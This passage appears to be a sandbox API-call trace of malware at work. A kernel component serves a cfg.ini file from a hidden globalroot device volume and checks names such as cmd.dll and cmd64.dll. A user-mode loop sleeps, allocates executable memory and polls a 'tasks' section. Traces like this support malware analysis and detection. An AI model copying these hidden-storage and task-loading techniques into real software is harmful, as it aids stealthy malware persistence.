(in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.988] KeEnterCriticalRegion () [0124.988] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.988] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.988] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.988] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.988] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0124.988] IdePortDispatch () returned 0x103 [0124.989] KeWaitForMutexObject () returned 0x0 [0124.989] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.989] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.989] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.989] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.989] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.989] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bef080 [0124.989] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.989] KeLeaveCriticalRegion () [0124.989] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.989] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.989] KeEnterCriticalRegion () [0124.989] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.989] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.989] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.989] KeLeaveCriticalRegion () [0124.989] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.989] KeEnterCriticalRegion () [0124.989] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.989] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.989] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.989] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.989] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0124.989] IdePortDispatch () returned 0x103 [0124.989] KeWaitForMutexObject () returned 0x0 [0124.989] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.989] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.989] KeLeaveCriticalRegion () [0124.989] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.989] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.989] KeEnterCriticalRegion () [0124.989] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.989] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b05000 [0124.989] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.990] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.990] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.990] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.990] IdePortDispatch () returned 0x103 [0124.990] KeWaitForMutexObject () returned 0x0 [0124.990] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.990] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.990] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.990] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.990] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.990] IdePortDispatch () returned 0x103 [0124.990] KeWaitForMutexObject () returned 0x0 [0124.990] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.990] KeLeaveCriticalRegion () [0124.990] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.991] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.991] KeEnterCriticalRegion () [0124.991] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.991] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.991] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.991] KeLeaveCriticalRegion () [0124.991] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.991] KeEnterCriticalRegion () [0124.991] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.991] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.991] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be91d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.991] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.991] KeLeaveCriticalRegion () [0124.991] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.991] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.991] KeEnterCriticalRegion () [0124.991] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.991] ExFreePoolWithTag (P=0xfffffa8003bef080, Tag=0x0) [0124.991] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.991] KeLeaveCriticalRegion () [0124.991] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.991] ReleaseMutex (hMutex=0xf0) returned 1 [0124.991] Sleep (dwMilliseconds=0x927c0) [0125.005] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0125.005] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.005] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0125.005] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.005] KeEnterCriticalRegion () [0125.005] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.005] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.005] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.005] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.005] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0125.005] IdePortDispatch () returned 0x103 [0125.006] KeWaitForMutexObject () returned 0x0 [0125.006] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.006] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.006] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.006] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.006] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.006] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be9060 [0125.006] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.006] KeLeaveCriticalRegion () [0125.006] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.006] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.006] KeEnterCriticalRegion () [0125.006] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.006] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.006] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.006] KeLeaveCriticalRegion () [0125.006] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.006] KeEnterCriticalRegion () [0125.006] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.006] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.006] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.006] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.006] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0125.006] IdePortDispatch () returned 0x103 [0125.006] KeWaitForMutexObject () returned 0x0 [0125.006] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.006] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.006] KeLeaveCriticalRegion () [0125.006] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.006] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.006] KeEnterCriticalRegion () [0125.006] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.006] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b0a000 [0125.006] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.006] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.006] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.007] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.007] IdePortDispatch () returned 0x103 [0125.007] KeWaitForMutexObject () returned 0x0 [0125.007] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.007] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.007] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.007] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.007] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.007] IdePortDispatch () returned 0x103 [0125.007] KeWaitForMutexObject () returned 0x0 [0125.007] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.007] KeLeaveCriticalRegion () [0125.007] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.007] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.008] KeEnterCriticalRegion () [0125.008] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.008] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.008] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.008] KeLeaveCriticalRegion () [0125.008] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.008] KeEnterCriticalRegion () [0125.008] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.008] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0125.008] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf4410, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.008] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.008] KeLeaveCriticalRegion () [0125.008] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.008] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.008] KeEnterCriticalRegion () [0125.008] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.008] ExFreePoolWithTag (P=0xfffffa8003be9060, Tag=0x0) [0125.008] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.008] KeLeaveCriticalRegion () [0125.008] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.008] ReleaseMutex (hMutex=0xf0) returned 1 [0125.008] Sleep (dwMilliseconds=0x927c0) [0125.021] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0125.021] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.021] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0125.021] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.022] KeEnterCriticalRegion () [0125.022] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.022] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.022] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.022] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.022] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0125.022] IdePortDispatch () returned 0x103 [0125.022] KeWaitForMutexObject () returned 0x0 [0125.022] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.022] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.022] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.022] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.022] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.022] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf4950 [0125.022] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.022] KeLeaveCriticalRegion () [0125.022] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.022] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.022] KeEnterCriticalRegion () [0125.022] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.022] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.022] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.022] KeLeaveCriticalRegion () [0125.022] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.022] KeEnterCriticalRegion () [0125.022] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.022] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.022] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.022] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.022] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0125.022] IdePortDispatch () returned 0x103 [0125.022] KeWaitForMutexObject () returned 0x0 [0125.023] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.023] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.023] KeLeaveCriticalRegion () [0125.023] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.023] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.023] KeEnterCriticalRegion () [0125.023] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.023] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b0f000 [0125.023] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.023] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.023] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.023] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.023] IdePortDispatch () returned 0x103 [0125.023] KeWaitForMutexObject () returned 0x0 [0125.023] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.023] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.023] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.023] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.023] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.023] IdePortDispatch () returned 0x103 [0125.023] KeWaitForMutexObject () returned 0x0 [0125.023] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.023] KeLeaveCriticalRegion () [0125.023] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.024] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.024] KeEnterCriticalRegion () [0125.024] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.024] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.024] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.024] KeLeaveCriticalRegion () [0125.024] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.024] KeEnterCriticalRegion () [0125.024] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.024] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0125.024] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be9320, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.024] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.024] KeLeaveCriticalRegion () [0125.024] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.024] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.024] KeEnterCriticalRegion () [0125.024] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.024] ExFreePoolWithTag (P=0xfffffa8003bf4950, Tag=0x0) [0125.024] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.024] KeLeaveCriticalRegion () [0125.024] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.024] ReleaseMutex (hMutex=0xf0) returned 1 [0125.024] Sleep (dwMilliseconds=0x927c0) [0125.038] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0125.038] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.038] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0125.038] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.038] KeEnterCriticalRegion () [0125.038] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.038] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.038] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.038] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.038] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0125.038] IdePortDispatch () returned 0x103 [0125.039] KeWaitForMutexObject () returned 0x0 [0125.039] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.039] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.039] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.039] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.039] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.039] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be8910 [0125.039] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.039] KeLeaveCriticalRegion () [0125.039] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.039] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.039] KeEnterCriticalRegion () [0125.039] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.039] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.039] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.039] KeLeaveCriticalRegion () [0125.039] _snprintf (in: _Dest=0xfffff880028cc790, 